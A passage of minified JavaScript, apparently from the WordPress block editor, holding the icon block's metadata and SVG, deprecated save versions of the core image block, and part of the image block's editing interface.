icon.",keywords:["icon","svg"],textdomain:"default",attributes:{icon:{type:"string",role:"content"}},supports:{anchor:!0,ariaLabel:{__experimentalSkipSerialization:!0},align:["left","center","right"],html:!1,color:{background:!0,text:!0,__experimentalSkipSerialization:!0},interactivity:{clientNavigation:!0},__experimentalBorder:{color:!0,radius:!0,style:!0,width:!0,__experimentalSkipSerialization:!0,__experimentalDefaultControls:{color:!1,radius:!1,style:!1,width:!1}},spacing:{padding:!0,margin:!0,__experimentalSkipSerialization:["padding"],__experimentalDefaultControls:{margin:!1,padding:!1}},dimensions:{width:!0,__experimentalSkipSerialization:["width"],__experimentalDefaultControls:{width:!0}}},selectors:{root:".wp-block-icon svg",css:".wp-block-icon",spacing:{margin:".wp-block-icon"}},style:"wp-block-icon",editorStyle:"wp-block-icon-editor"};var a4=o(A(),1),uN=o(v(),1),qbe=(0,uN.jsx)(a4.SVG,{xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",fill:"none",children:(0,uN.jsx)(a4.Path,{d:"M6 9.5h3.5V6H6v3.5Zm5 .5a1 1 0 0 1-.898.995L10 11H5.5l-.103-.005a1 1 0 0 1-.892-.893L4.5 10V5.5a1 1 0 0 1 1-1H10a1 1 0 0 1 1 1V10ZM18.25 7.75a2 2 0 1 0-4 0 2 2 0 0 0 4 0Zm1.5 0a3.5 3.5 0 1 1-7 0 3.5 3.5 0 0 1 7 0ZM6.88 13.535a1 1 0 0 1 1.74 0l2.534 4.472a1 1 0 0 1-.87 1.493H5.216a1 1 0 0 1-.87-1.493l2.534-4.472ZM6.074 18h3.352L7.75 15.041l-1.676 2.96ZM14.952 13h2.596a1 1 0 0 1 .866.5l1.298 2.25a1 1 0 0 1 0 1L18.414 19l-.074.11a1 1 0 0 1-.792.39h-2.596a1 1 0 0 1-.792-.39l-.074-.11-1.298-2.25a1.001 1.001 0 0 1 0-1l1.298-2.25a1 1 0 0 1 .866-.5Zm-.72 3.25 1.01 1.75h2.017l1.009-1.75-1.01-1.75h-2.017l-1.01 1.75Z"})}),Dq=qbe;var{name:Lq}=o4,Mq={icon:Dq,example:{attributes:{icon:"core/audio",style:{dimensions:{width:"48px"}}}},edit:Nq},Zbe=()=>N({name:Lq,metadata:o4,settings:Mq});var gN={};q(gN,{init:()=>gye,metadata:()=>u4,name:()=>lZ,settings:()=>p4});var ed=o(I(),1);var iZ=o(U(),1);var yt=o(T(),1),Le=o(v(),1),Kbe={attributes:{url:{type:"string",source:"attribute",selector:"img",attribute:"src"},alt:{type:"string",source:"attribute",selector:"img",attribute:"alt",default:""},caption:{type:"array",source:"children",selector:"figcaption"},href:{type:"string",source:"attribute",selector:"a",attribute:"href"},id:{type:"number"},align:{type:"string"},width:{type:"number"},height:{type:"number"}},save({attributes:e}){let{url:t,alt:r,caption:a,align:n,href:i,width:l,height:s}=e,u=(0,Le.jsx)("img",{src:t,alt:r,...l||s?{width:l,height:s}:{}}),m={};return l?m={width:l}:(n==="left"||n==="right")&&(m={maxWidth:"50%"}),(0,Le.jsxs)("figure",{className:n?`align${n}`:null,style:m,children:[i?(0,Le.jsx)("a",{href:i,children:u}):u,!yt.RichText.isEmpty(a)&&(0,Le.jsx)(yt.RichText.Content,{tagName:"figcaption",value:a})]})}},Qbe={attributes:{url:{type:"string",source:"attribute",selector:"img",attribute:"src"},alt:{type:"string",source:"attribute",selector:"img",attribute:"alt",default:""},caption:{type:"array",source:"children",selector:"figcaption"},href:{type:"string",source:"attribute",selector:"a",attribute:"href"},id:{type:"number"},align:{type:"string"},width:{type:"number"},height:{type:"number"}},save({attributes:e}){let{url:t,alt:r,caption:a,align:n,href:i,width:l,height:s,id:c}=e,u=(0,Le.jsx)("img",{src:t,alt:r,className:c?`wp-image-${c}`:null,width:l,height:s});return(0,Le.jsxs)("figure",{className:n?`align${n}`:null,children:[i?(0,Le.jsx)("a",{href:i,children:u}):u,!yt.RichText.isEmpty(a)&&(0,Le.jsx)(yt.RichText.Content,{tagName:"figcaption",value:a})]})}},Ybe={attributes:{url:{type:"string",source:"attribute",selector:"img",attribute:"src"},alt:{type:"string",source:"attribute",selector:"img",attribute:"alt",default:""},caption:{type:"array",source:"children",selector:"figcaption"},href:{type:"string",source:"attribute",selector:"figure > a",attribute:"href"},id:{type:"number"},align:{type:"string"},width:{type:"number"},height:{type:"number"},linkDestination:{type:"string",default:"none"}},save({attributes:e}){let{url:t,alt:r,caption:a,align:n,href:i,width:l,height:s,id:c}=e,u=w({[`align${n}`]:n,"is-resized":l||s}),m=(0,Le.jsx)("img",{src:t,alt:r,className:c?`wp-image-${c}`:null,width:l,height:s});return(0,Le.jsxs)("figure",{className:u,children:[i?(0,Le.jsx)("a",{href:i,children:m}):m,!yt.RichText.isEmpty(a)&&(0,Le.jsx)(yt.RichText.Content,{tagName:"figcaption",value:a})]})}},Xbe={attributes:{align:{type:"string"},url:{type:"string",source:"attribute",selector:"img",attribute:"src"},alt:{type:"string",source:"attribute",selector:"img",attribute:"alt",default:""},caption:{type:"string",source:"html",selector:"figcaption"},title:{type:"string",source:"attribute",selector:"img",attribute:"title"},href:{type:"string",source:"attribute",selector:"figure > a",attribute:"href"},rel:{type:"string",source:"attribute",selector:"figure > a",attribute:"rel"},linkClass:{type:"string",source:"attribute",selector:"figure > a",attribute:"class"},id:{type:"number"},width:{type:"number"},height:{type:"number"},sizeSlug:{type:"string"},linkDestination:{type:"string"},linkTarget:{type:"string",source:"attribute",selector:"figure > a",attribute:"target"}},supports:{anchor:!0},save({attributes:e}){let{url:t,alt:r,caption:a,align:n,href:i,rel:l,linkClass:s,width:c,height:u,id:m,linkTarget:p,sizeSlug:d,title:f}=e,h=l||void 0,g=w({[`align${n}`]:n,[`size-${d}`]:d,"is-resized":c||u}),b=(0,Le.jsx)("img",{src:t,alt:r,className:m?`wp-image-${m}`:null,width:c,height:u,title:f}),y=(0,Le.jsxs)(Le.Fragment,{children:[i?(0,Le.jsx)("a",{className:s,href:i,target:p,rel:h,children:b}):b,!yt.RichText.isEmpty(a)&&(0,Le.jsx)(yt.RichText.Content,{tagName:"figcaption",value:a})]});return n==="left"||n==="right"||n==="center"?(0,Le.jsx)("div",{...yt.useBlockProps.save(),children:(0,Le.jsx)("figure",{className:g,children:y})}):(0,Le.jsx)("figure",{...yt.useBlockProps.save({className:g}),children:y})}},Jbe={attributes:{align:{type:"string"},url:{type:"string",source:"attribute",selector:"img",attribute:"src"},alt:{type:"string",source:"attribute",selector:"img",attribute:"alt",default:""},caption:{type:"string",source:"html",selector:"figcaption"},title:{type:"string",source:"attribute",selector:"img",attribute:"title"},href:{type:"string",source:"attribute",selector:"figure > a",attribute:"href"},rel:{type:"string",source:"attribute",selector:"figure > a",attribute:"rel"},linkClass:{type:"string",source:"attribute",selector:"figure > a",attribute:"class"},id:{type:"number"},width:{type:"number"},height:{type:"number"},sizeSlug:{type:"string"},linkDestination:{type:"string"},linkTarget:{type:"string",source:"attribute",selector:"figure > a",attribute:"target"}},supports:{anchor:!0,color:{__experimentalDuotone:"img",text:!1,background:!1},__experimentalBorder:{radius:!0,__experimentalDefaultControls:{radius:!0}},__experimentalStyle:{spacing:{margin:"0 0 1em 0"}}},save({attributes:e}){let{url:t,alt:r,caption:a,align:n,href:i,rel:l,linkClass:s,width:c,height:u,id:m,linkTarget:p,sizeSlug:d,title:f}=e,h=l||void 0,g=w({[`align${n}`]:n,[`size-${d}`]:d,"is-resized":c||u}),b=(0,Le.jsx)("img",{src:t,alt:r,className:m?`wp-image-${m}`:null,width:c,height:u,title:f}),y=(0,Le.jsxs)(Le.Fragment,{children:[i?(0,Le.jsx)("a",{className:s,href:i,target:p,rel:h,children:b}):b,!yt.RichText.isEmpty(a)&&(0,Le.jsx)(yt.RichText.Content,{tagName:"figcaption",value:a})]});return(0,Le.jsx)("figure",{...yt.useBlockProps.save({className:g}),children:y})}},eye={attributes:{align:{type:"string"},url:{type:"string",source:"attribute",selector:"img",attribute:"src",role:"content"},alt:{type:"string",source:"attribute",selector:"img",attribute:"alt",default:"",role:"content"},caption:{type:"string",source:"html",selector:"figcaption",role:"content"},title:{type:"string",source:"attribute",selector:"img",attribute:"title",role:"content"},href:{type:"string",source:"attribute",selector:"figure > a",attribute:"href",role:"content"},rel:{type:"string",source:"attribute",selector:"figure > a",attribute:"rel"},linkClass:{type:"string",source:"attribute",selector:"figure > a",attribute:"class"},id:{type:"number",role:"content"},width:{type:"number"},height:{type:"number"},aspectRatio:{type:"string"},scale:{type:"string"},sizeSlug:{type:"string"},linkDestination:{type:"string"},linkTarget:{type:"string",source:"attribute",selector:"figure > a",attribute:"target"}},supports:{anchor:!0,color:{text:!1,background:!1},filter:{duotone:!0},__experimentalBorder:{color:!0,radius:!0,width:!0,__experimentalSkipSerialization:!0,__experimentalDefaultControls:{color:!0,radius:!0,width:!0}}},migrate(e){let{height:t,width:r}=e;return{...e,width:typeof r=="number"?`${r}px`:r,height:typeof t=="number"?`${t}px`:t}},save({attributes:e}){let{url:t,alt:r,caption:a,align:n,href:i,rel:l,linkClass:s,width:c,height:u,aspectRatio:m,scale:p,id:d,linkTarget:f,sizeSlug:h,title:g}=e,b=l||void 0,y=(0,yt.__experimentalGetBorderClassesAndStyles)(e),_=w({[`align${n}`]:n,[`size-${h}`]:h,"is-resized":c||u,"has-custom-border":!!y.className||y.style&&Object.keys(y.style).length>0}),x=w(y.className,{[`wp-image-${d}`]:!!d}),k=(0,Le.jsx)("img",{src:t,alt:r,className:x||void 0,style:{...y.style,aspectRatio:m,objectFit:p},width:c,height:u,title:g}),S=(0,Le.jsxs)(Le.Fragment,{children:[i?(0,Le.jsx)("a",{className:s,href:i,target:f,rel:b,children:k}):k,!yt.RichText.isEmpty(a)&&(0,Le.jsx)(yt.RichText.Content,{className:(0,yt.__experimentalGetElementClassName)("caption"),tagName:"figcaption",value:a})]});return(0,Le.jsx)("figure",{...yt.useBlockProps.save({className:_}),children:S})}},tye={attributes:{align:{type:"string"},url:{type:"string",source:"attribute",selector:"img",attribute:"src",role:"content"},alt:{type:"string",source:"attribute",selector:"img",attribute:"alt",default:"",role:"content"},caption:{type:"string",source:"html",selector:"figcaption",role:"content"},title:{type:"string",source:"attribute",selector:"img",attribute:"title",role:"content"},href:{type:"string",source:"attribute",selector:"figure > a",attribute:"href",role:"content"},rel:{type:"string",source:"attribute",selector:"figure > a",attribute:"rel"},linkClass:{type:"string",source:"attribute",selector:"figure > a",attribute:"class"},id:{type:"number",role:"content"},width:{type:"number"},height:{type:"number"},aspectRatio:{type:"string"},scale:{type:"string"},sizeSlug:{type:"string"},linkDestination:{type:"string"},linkTarget:{type:"string",source:"attribute",selector:"figure > a",attribute:"target"}},supports:{anchor:!0,color:{text:!1,background:!1},filter:{duotone:!0},__experimentalBorder:{color:!0,radius:!0,width:!0,__experimentalSkipSerialization:!0,__experimentalDefaultControls:{color:!0,radius:!0,width:!0}}},migrate({width:e,height:t,...r}){return{...r,width:`${e}px`,height:`${t}px`}},save({attributes:e}){let{url:t,alt:r,caption:a,align:n,href:i,rel:l,linkClass:s,width:c,height:u,aspectRatio:m,scale:p,id:d,linkTarget:f,sizeSlug:h,title:g}=e,b=l||void 0,y=(0,yt.__experimentalGetBorderClassesAndStyles)(e),_=w({[`align${n}`]:n,[`size-${h}`]:h,"is-resized":c||u,"has-custom-border":!!y.className||y.style&&Object.keys(y.style).length>0}),x=w(y.className,{[`wp-image-${d}`]:!!d}),k=(0,Le.jsx)("img",{src:t,alt:r,className:x||void 0,style:{...y.style,aspectRatio:m,objectFit:p,width:c,height:u},width:c,height:u,title:g}),S=(0,Le.jsxs)(Le.Fragment,{children:[i?(0,Le.jsx)("a",{className:s,href:i,target:f,rel:b,children:k}):k,!yt.RichText.isEmpty(a)&&(0,Le.jsx)(yt.RichText.Content,{className:(0,yt.__experimentalGetElementClassName)("caption"),tagName:"figcaption",value:a})]});return(0,Le.jsx)("figure",{...yt.useBlockProps.save({className:_}),children:S})}},rye={attributes:{align:{type:"string"},behaviors:{type:"object"},url:{type:"string",source:"attribute",selector:"img",attribute:"src",role:"content"},alt:{type:"string",source:"attribute",selector:"img",attribute:"alt",default:"",role:"content"},caption:{type:"string",source:"html",selector:"figcaption",role:"content"},title:{type:"string",source:"attribute",selector:"img",attribute:"title",role:"content"},href:{type:"string",source:"attribute",selector:"figure > a",attribute:"href",role:"content"},rel:{type:"string",source:"attribute",selector:"figure > a",attribute:"rel"},linkClass:{type:"string",source:"attribute",selector:"figure > a",attribute:"class"},id:{type:"number",role:"content"},width:{type:"string"},height:{type:"string"},aspectRatio:{type:"string"},scale:{type:"string"},sizeSlug:{type:"string"},linkDestination:{type:"string"},linkTarget:{type:"string",source:"attribute",selector:"figure > a",attribute:"target"}},supports:{anchor:!0,color:{text:!1,background:!1},filter:{duotone:!0},__experimentalBorder:{color:!0,radius:!0,width:!0,__experimentalSkipSerialization:!0,__experimentalDefaultControls:{color:!0,radius:!0,width:!0}}},migrate({width:e,height:t,...r}){if(!r.behaviors?.lightbox)return r;let{behaviors:{lightbox:{enabled:a}}}=r,n={...r,lightbox:{enabled:a}};return delete n.behaviors,n},isEligible(e){return!!e.behaviors},save({attributes:e}){let{url:t,alt:r,caption:a,align:n,href:i,rel:l,linkClass:s,width:c,height:u,aspectRatio:m,scale:p,id:d,linkTarget:f,sizeSlug:h,title:g}=e,b=l||void 0,y=(0,yt.__experimentalGetBorderClassesAndStyles)(e),_=w({[`align${n}`]:n,[`size-${h}`]:h,"is-resized":c||u,"has-custom-border":!!y.className||y.style&&Object.keys(y.style).length>0}),x=w(y.className,{[`wp-image-${d}`]:!!d}),k=(0,Le.jsx)("img",{src:t,alt:r,className:x||void 0,style:{...y.style,aspectRatio:m,objectFit:p,width:c,height:u},title:g}),S=(0,Le.jsxs)(Le.Fragment,{children:[i?(0,Le.jsx)("a",{className:s,href:i,target:f,rel:b,children:k}):k,!yt.RichText.isEmpty(a)&&(0,Le.jsx)(yt.RichText.Content,{className:(0,yt.__experimentalGetElementClassName)("caption"),tagName:"figcaption",value:a})]});return(0,Le.jsx)("figure",{...yt.useBlockProps.save({className:_}),children:S})}},Aq=[rye,tye,eye,Jbe,Xbe,Ybe,Qbe,Kbe];var vh=o(Tr(),1),mv=o(U(),1),Xq=o(A(),1),Jp=o(z(),1),Ya=o(T(),1),um=o(j(),1),js=o(I(),1);var Jq=o(yr(),1),eZ=o(ue(),1),c4=o(nr(),1),tZ=o(zq(),1);var Gq=o(Tr(),1),Me=o(A(),1),gh=o(ue(),1),Gc=o(z(),1),_t=o(T(),1),Ir=o(j(),1),Pe=o(I(),1),fN=o(nr(),1),hh=o(U(),1);var Wq=o(yr(),1),l4=o(Y(),1);var Qa=o(A(),1),n4=o(T(),1),Vq=o(Ri(),1),Fq=o(j(),1),pN=o(I(),1),Oq=o(z(),1);var Hq=o(nr(),1),En=o(v(),1),oye=e=>{window.requestAnimationFrame(()=>{let[t]=Vq.focus.tabbable.find(e?.current);t&&t.focus()})};function dN({url:e,filename:t,itemGroupProps:r,className:a,label:n}){return(0,En.jsx)(Qa.__experimentalItemGroup,{...r,as:"span",children:(0,En.jsxs)(Qa.__experimentalHStack,{justify:"flex-start",children:[(0,En.jsx)("span",{className:"block-library-utils__media-control__inspector-image-indicator",style:{backgroundImage:e?`url(${e})`:void 0}}),(0,En.jsx)(Qa.FlexBlock,{children:(0,En.jsx)(Qa.__experimentalTruncate,{numberOfLines:1,className:a,children:t??n})})]})})}function i4({mediaId:e,mediaUrl:t,filename:r,allowedTypes:a,onSelect:n,onSelectURL:i,onError:l,onReset:s,isUploading:c=!1,emptyLabel:u=(0,pN.__)("Media")}){let{getSettings:m}=(0,Oq.useSelect)(n4.store),p=f=>{let{mediaUpload:h}=m();h&&h({allowedTypes:a,filesList:f,onFileChange([g]){n(g)},onError:l,multiple:!1})},d=(0,Fq.useRef)();return(0,En.jsxs)("div",{ref:d,className:"block-library-utils__media-control",children:[(0,En.jsx)(n4.MediaReplaceFlow,{className:"block-library-utils__media-control__replace-flow",mediaId:e,mediaURL:t,allowedTypes:a,onSelect:n,onSelectURL:i,onError:l,name:(0,En.jsx)(dN,{url:t,filename:r,className:"block-library-utils__media-control__inspector-media-replace-title",label:t?(0,Hq.getFilename)(r):u}),renderToggle:f=>(0,En.jsx)(Qa.Button,{...f,__next40pxDefaultSize:!0,children:c?(0,En.jsx)(Qa.Spinner,{}):f.children}),onReset:s}),t&&s&&(0,En.jsx)(Qa.Button,{label:(0,pN.__)("Reset"),className:"block-library-utils__media-control__reset",size:"small",icon:zP,onClick:()=>{s(),oye(d)}}),(0,En.jsx)(Qa.DropZone,{onFilesDrop:p})]})}var te=o(v(),1),{DimensionsTool:jq,ResolutionTool:aye}=Z(_t.privateApis),nye=[{value:"cover",label:(0,Pe._x)("Cover","Scale option for dimensions control"),help:(0,Pe.__)("Image covers the space evenly.")},{value:"contain",label:(0,Pe._x)("Contain","Scale option for dimensions control"),help:(0,Pe.__)("Image is contained without distortion.")}],iye={placement:"bottom-start"},Uq=({href:e,children:t})=>e?(0,te.jsx)("a",{href:e,onClick:r=>r.preventDefault(),"aria-disabled":!0,style:{pointerEvents:"none",cursor:"default",display:"inline"},children:t}):t;function lye({attributes:e,setAttributes:t,lockAltControls:r,lockAltControlsMessage:a,lockTitleControls:n,lockTitleControlsMessage:i}){let[l,s]=(0,Ir.useState)(null),[c,u]=(0,Ir.useState)(!1),[m,p]=(0,Ir.useState)(!1);return(0,te.jsxs)(te.Fragment,{children:[(0,te.jsx)(Me.ToolbarItem,{ref:s,children:d=>(0,te.jsx)(Me.DropdownMenu,{icon:w0,label:(0,Pe.__)("More"),toggleProps:{...d,description:(0,Pe.__)("Displays more controls.")},popoverProps:iye,children:({onClose:f})=>(0,te.jsxs)(te.Fragment,{children:[(0,te.jsx)(Me.MenuItem,{onClick:()=>{u(!0),f()},"aria-haspopup":"dialog",children:(0,Pe._x)("Alternative text","Alternative text for an image. Block toolbar label, a low character count is preferred.")}),(0,te.jsx)(Me.MenuItem,{onClick:()=>{p(!0),f()},"aria-haspopup":"dialog",children:(0,Pe.__)("Title text")})]})})}),c&&(0,te.jsx)(Me.Popover,{placement:"bottom-start",anchor:l,onClose:()=>u(!1),offset:13,variant:"toolbar",children:(0,te.jsx)("div",{className:"wp-block-image__toolbar_content_textarea__container",children:(0,te.jsx)(Me.TextareaControl,{className:"wp-block-image__toolbar_content_textarea",label:(0,Pe.__)("Alternative text"),value:e.alt||"",onChange:d=>t({alt:d}),disabled:r,help:r?(0,te.jsx)(te.Fragment,{children:a}):(0,te.jsxs)(te.Fragment,{children:[(0,te.jsx)(Me.ExternalLink,{href:(0,Pe.__)("https://www.w3.org/WAI/tutorials/images/decision-tree/"),children:(0,Pe.__)("Describe the purpose of the image.")}),(0,te.jsx)("br",{}),(0,Pe.__)("Leave empty if decorative.")]})})})}),m&&(0,te.jsx)(Me.Popover,{placement:"bottom-start",anchor:l,onClose:()=>p(!1),offset:13,variant:"toolbar",children:(0,te.jsx)("div",{className:"wp-block-image__toolbar_content_textarea__container",children:(0,te.jsx)(Me.TextControl,{__next40pxDefaultSize:!0,className:"wp-block-image__toolbar_content_textarea",label:(0,Pe.__)("Title attribute"),value:e.title||"",onChange:d=>t({title:d}),disabled:n,help:n?(0,te.jsx)(te.Fragment,{children:i}):(0,Ir.createInterpolateElement)((0,Pe.__)("Describe the role of this image on the page. <a>(Note: many devices and browsers do not display this text.)</a>"),{a:(0,te.jsx)(Me.ExternalLink,{href:"https://www.w3.org/TR/html52/dom.html#the-title-attribute"})})})})})]})}function $q({temporaryURL:e,isSideloading:t,attributes:r,setAttributes:a,isSingleSelected:n,insertBlocksAfter:i,onReplace:l,onSelectImage:s,onSelectURL:c,onUploadError:u,context:m,clientId:p,blockEditingMode:d,parentLayoutType:f,maxContentWidth:h}){let{url:g="",alt:b,align:y,id:_,href:x,rel:k,linkClass:S,linkDestination:C,title:E,width:B,height:D,aspectRatio:M,scale:O,focalPoint:R,linkTarget:F,sizeSlug:P,lightbox:H,metadata:$}=r,[V,G]=(0,Ir.useState)(),[K,X]=(0,Ir.useState)(null),[ee,ne]=(0,Ir.useState)({}),[J,oe]=(0,Ir.useState)(0),ie=(0,gh.useResizeObserver)(([ve])=>{if(!K){let[Nt]=ve.borderBoxSize;ne({width:Nt.inlineSize,height:Nt.blockSize})}oe(ve.target.offsetTop)}),le=(0,Ir.useCallback)(()=>{oe(V?.offsetTop??0)},[V]),de=(0,gh.useMergeRefs)([G,ie]),{allowResize:Ve=!0}=m,{image:Ne,canUserEdit:ae}=(0,Gc.useSelect)(ve=>{let Nt=_&&n?ve(l4.store).getEntityRecord("postType","attachment",_,{context:"view"}):null,qn=!1;return Nt&&window?.__experimentalMediaEditor&&(qn=!!ve(l4.store).canUser("update",{kind:"postType",name:"attachment",id:_})),{image:Nt,canUserEdit:qn}},[_,n]),{canInsertCover:Be,imageEditing:Ae,imageSizes:re,maxWidth:fe}=(0,Gc.useSelect)(ve=>{let{getBlockRootClientId:Nt,canInsertBlockType:qn,getSettings:hn}=ve(_t.store),c0=Nt(p),rp=hn();return{imageEditing:rp.imageEditing,imageSizes:rp.imageSizes,maxWidth:rp.maxWidth,canInsertCover:qn("core/cover",c0)}},[p]),{getBlock:rt,getSettings:tt}=(0,Gc.useSelect)(_t.store),Yt=tt().onNavigateToEntityRecord,{replaceBlocks:he,toggleSelection:wt}=(0,Gc.useDispatch)(_t.store),{createErrorNotice:je,createSuccessNotice:xe}=(0,Gc.useDispatch)(Wq.store),{editEntityRecord:ot}=(0,Gc.useDispatch)(l4.store),Ke=(0,gh.useViewportMatch)("medium"),Qe=["wide","full"].includes(y),[{loadedNaturalWidth:Ro,loadedNaturalHeight:Q},Ie]=(0,Ir.useState)({}),[$e,Oe]=(0,Ir.useState)(!1),[De,ut]=(0,Ir.useState)(),[ro,da]=(0,Ir.useState)(!1),at=d==="default",zo=d==="contentOnly",fn=Ve&&at,sf=Ve&&at&&!Qe&&Ke,hs=re.filter(({slug:ve})=>Ne?.media_details?.sizes?.[ve]?.source_url).map(({name:ve,slug:Nt})=>({value:Nt,label:ve}));(0,Ir.useEffect)(()=>{if(!s4(_,g)||!n||!tt().mediaUpload){ut();return}De||window.fetch(g.includes("?")?g:g+"?").then(ve=>ve.blob()).then(ve=>ut(ve)).catch(()=>{})},[_,g,n,De,tt]);let{naturalWidth:Wn,naturalHeight:bl}=(0,Ir.useMemo)(()=>({naturalWidth:V?.naturalWidth||Ro||void 0,naturalHeight:V?.naturalHeight||Q||void 0}),[Ro,Q,V?.complete]);function gs(){da(!0);let ve=Hu({attributes:{url:g}});ve!==void 0&&l(ve)}function cf(ve){da(!1),Ie({loadedNaturalWidth:ve.target?.naturalWidth,loadedNaturalHeight:ve.target?.naturalHeight})}function Xm(ve){a(ve)}function Se(ve){ve&&!Sc?.enabled?a({lightbox:{enabled:!0}}):!ve&&Sc?.enabled?a({lightbox:{enabled:!1}}):a({lightbox:void 0})}function bt(){Sc?.enabled&&Sc?.allowEditing?a({lightbox:{enabled:!1}}):a({lightbox:void 0})}function oo(ve){a({title:ve})}function Cc(ve){a({alt:ve})}let Ai=ve=>{V&&V.style.setProperty("object-position",ov(ve))};function wu(ve){let Nt=Ne?.media_details?.sizes?.[ve]?.source_url;if(!Nt)return null;a({url:Nt,sizeSlug:ve})}function Cu(){let{mediaUpload:ve}=tt();ve&&ve({filesList:[De],onFileChange([Nt]){s(Nt),!(0,Gq.isBlobURL)(Nt.url)&&(ut(),xe((0,Pe.__)("Image uploaded."),{type:"snackbar"}))},allowedTypes:jc,onError(Nt){je(Nt,{type:"snackbar"})}})}(0,Ir.useEffect)(()=>{n||Oe(!1)},[n]);let $n=_&&Wn&&bl&&Ae,uf=n&&$n&&!$e&&!zo;function Su(){he(p,(0,hh.switchToBlockType)(rt(p),"core/cover"))}let hy=(0,Me.__experimentalUseCustomUnits)({availableUnits:["px"]}),[Sc]=(0,_t.useSettings)("lightbox"),gy=!!H&&H?.enabled!==Sc?.enabled||Sc?.allowEditing,mf=!!H?.enabled||!H&&!!Sc?.enabled,Tu=W(),pf=fn&&(FE.includes(f)?(0,te.jsx)(jq,{panelId:p,value:{aspectRatio:M},onChange:({aspectRatio:ve})=>{a({aspectRatio:ve,scale:"cover"})},defaultAspectRatio:"auto",tools:["aspectRatio"]}):(0,te.jsx)(jq,{panelId:p,value:{width:B,height:D,scale:O,aspectRatio:M},onChange:({width:ve,height:Nt,scale:qn,aspectRatio:hn})=>{a({width:!ve&&Nt?"auto":ve,height:Nt,scale:qn,aspectRatio:hn})},defaultScale:"cover",defaultAspectRatio:"auto",scaleOptions:nye,unitsOptions:hy,tools:Qe?["aspectRatio","scale"]:["aspectRatio","widthHeight","scale"]})),df=()=>{a({lightbox:void 0}),wu(rv)},vy=$?.bindings?.__default?.source==="core/pattern-overrides",{lockUrlControls:i0=!1,lockHrefControls:Jm=!1,lockAltControls:ff=!1,lockAltControlsMessage:by,lockTitleControls:l0=!1,lockTitleControlsMessage:s0,hideCaptionControls:hf=!1}=(0,Gc.useSelect)(ve=>{if(!n)return{};let{url:Nt,alt:qn,title:hn,caption:c0}=$?.bindings||{},rp=!!m["pattern/overrides"],U8=(0,hh.getBlockBindingsSource)(Nt?.source),gf=(0,hh.getBlockBindingsSource)(qn?.source),Bu=(0,hh.getBlockBindingsSource)(hn?.source);return{lockUrlControls:!!Nt&&!U8?.canUserEditValue?.({select:ve,context:m,args:Nt?.args}),lockHrefControls:rp||vy,hideCaptionControls:!!c0,lockAltControls:!!qn&&!gf?.canUserEditValue?.({select:ve,context:m,args:qn?.args}),lockAltControlsMessage:gf?.label?(0,Pe.sprintf)((0,Pe.__)("Connected to %s"),gf.label):(0,Pe.__)("Connected to dynamic data"),lockTitleControls:!!hn&&!Bu?.canUserEditValue?.({select:ve,context:m,args:hn?.args}),lockTitleControlsMessage:Bu?.label?(0,Pe.sprintf)((0,Pe.__)("Connected to %s"),Bu.label):(0,Pe.__)("Connected to dynamic data")}},[vy,m,n,$?.bindings]),ep=n&&!$e&&!Jm&&!i0,tp=n&&Be&&!zo,O8=ep||uf||tp,Xt=n&&!$e&&!i0&&(0,te.jsx)(_t.BlockControls,{group:zo?"inline":"other",children:(0,te.jsx)(_t.MediaReplaceFlow,{mediaId:_,mediaURL:g,allowedTypes:jc,onSelect:s,onSelectURL:c,onError:u,name:g?(0,Pe.__)("Replace"):(0,Pe.__)("Add image"),onReset:()=>s(void 0),variant:"toolbar"})}),vs=window?.__experimentalContentOnlyInspectorFields,yl=window?.__experimentalMediaEditor&&_&&n&&ae&&!s4(_,g)&&!$e&&Yt&&(0,te.jsx)(_t.BlockControls,{group:"other",children:(0,te.jsx)(Me.ToolbarButton,{onClick:()=>{Yt({postId:_,postType:"attachment"})},children:(0,Pe.__)("Edit media")})}),yy=(0,te.jsxs)(te.Fragment,{children:[O8&&(0,te.jsxs)(_t.BlockControls,{group:"block",children:[ep&&(0,te.jsx)(_t.__experimentalImageURLInputUI,{url:x||"",onChangeUrl:Xm,linkDestination:C,mediaUrl:Ne&&Ne.source_url||g,mediaLink:Ne&&Ne.link,linkTarget:F,linkClass:S,rel:k,showLightboxSetting:gy,lightboxEnabled:mf,onSetLightbox:Se,resetLightbox:bt}),uf&&(0,te.jsx)(Me.ToolbarButton,{onClick:()=>Oe(!0),icon:I0,label:(0,Pe.__)("Crop")}),tp&&(0,te.jsx)(Me.ToolbarButton,{icon:FT,label:(0,Pe.__)("Add text over image"),onClick:Su})]}),n&&De&&(0,te.jsx)(_t.BlockControls,{children:(0,te.jsx)(Me.ToolbarGroup,{children:(0,te.jsx)(Me.ToolbarButton,{onClick:Cu,icon:Pc,label:(0,Pe.__)("Upload to Media Library")})})}),zo&&(0,te.jsx)(_t.BlockControls,{group:"block",children:(0,te.jsx)(lye,{attributes:r,setAttributes:a,lockAltControls:ff,lockAltControlsMessage:by,lockTitleControls:l0,lockTitleControlsMessage:s0})}),!vs&&n&&(0,te.jsx)(_t.InspectorControls,{group:"content",children:(0,te.jsxs)(Me.__experimentalToolsPanel,{label:(0,Pe.__)("Media"),resetAll:()=>s(void 0),dropdownMenuProps:Tu,children:[!i0&&(0,te.jsx)(Me.__experimentalToolsPanelItem,{label:(0,Pe.__)("Image"),hasValue:()=>!!g,onDeselect:()=>s(void 0),isShownByDefault:!0,children:(0,te.jsx)(i4,{mediaId:_,mediaUrl:g,alt:b,filename:Ne?.media_details?.sizes?.full?.file||Ne?.slug||(0,fN.getFilename)(g),allowedTypes:jc,onSelect:s,onSelectURL:c,onError:u,onReset:()=>s(void 0),isUploading:!!e||t,emptyLabel:(0,Pe.__)("Add image")})}),(0,te.jsx)(Me.__experimentalToolsPanelItem,{label:(0,Pe.__)("Alternative text"),isShownByDefault:!0,hasValue:()=>!!b,onDeselect:()=>a({alt:void 0}),children:(0,te.jsx)(Me.TextareaControl,{label:(0,Pe.__)("Alternative text"),value:b||"",onChange:Cc,readOnly:ff,help:ff?(0,te.jsx)(te.Fragment,{children:by}):(0,te.jsxs)(te.Fragment,{children:[(0,te.jsx)(Me.ExternalLink,{href:(0,Pe.__)("https://www.w3.org/WAI/tutorials/images/decision-tree/"),children:(0,Pe.__)("Describe the purpose of the image.")}),(0,te.jsx)("br",{}),(0,Pe.__)("Leave empty if decorative.")]})})})]})}),(0,te.jsxs)(_t.InspectorControls,{group:"dimensions",resetAllFilter:ve=>({...ve,aspectRatio:void 0,width:void 0,height:void 0,scale:void 0,focalPoint:void 0}),children:[pf,g&&O&&(0,te.jsx)(Me.__experimentalToolsPanelItem,{label:(0,Pe.__)("Focal point"),isShownByDefault:!0,hasValue:()=>!!R,onDeselect:()=>a({focalPoint:void 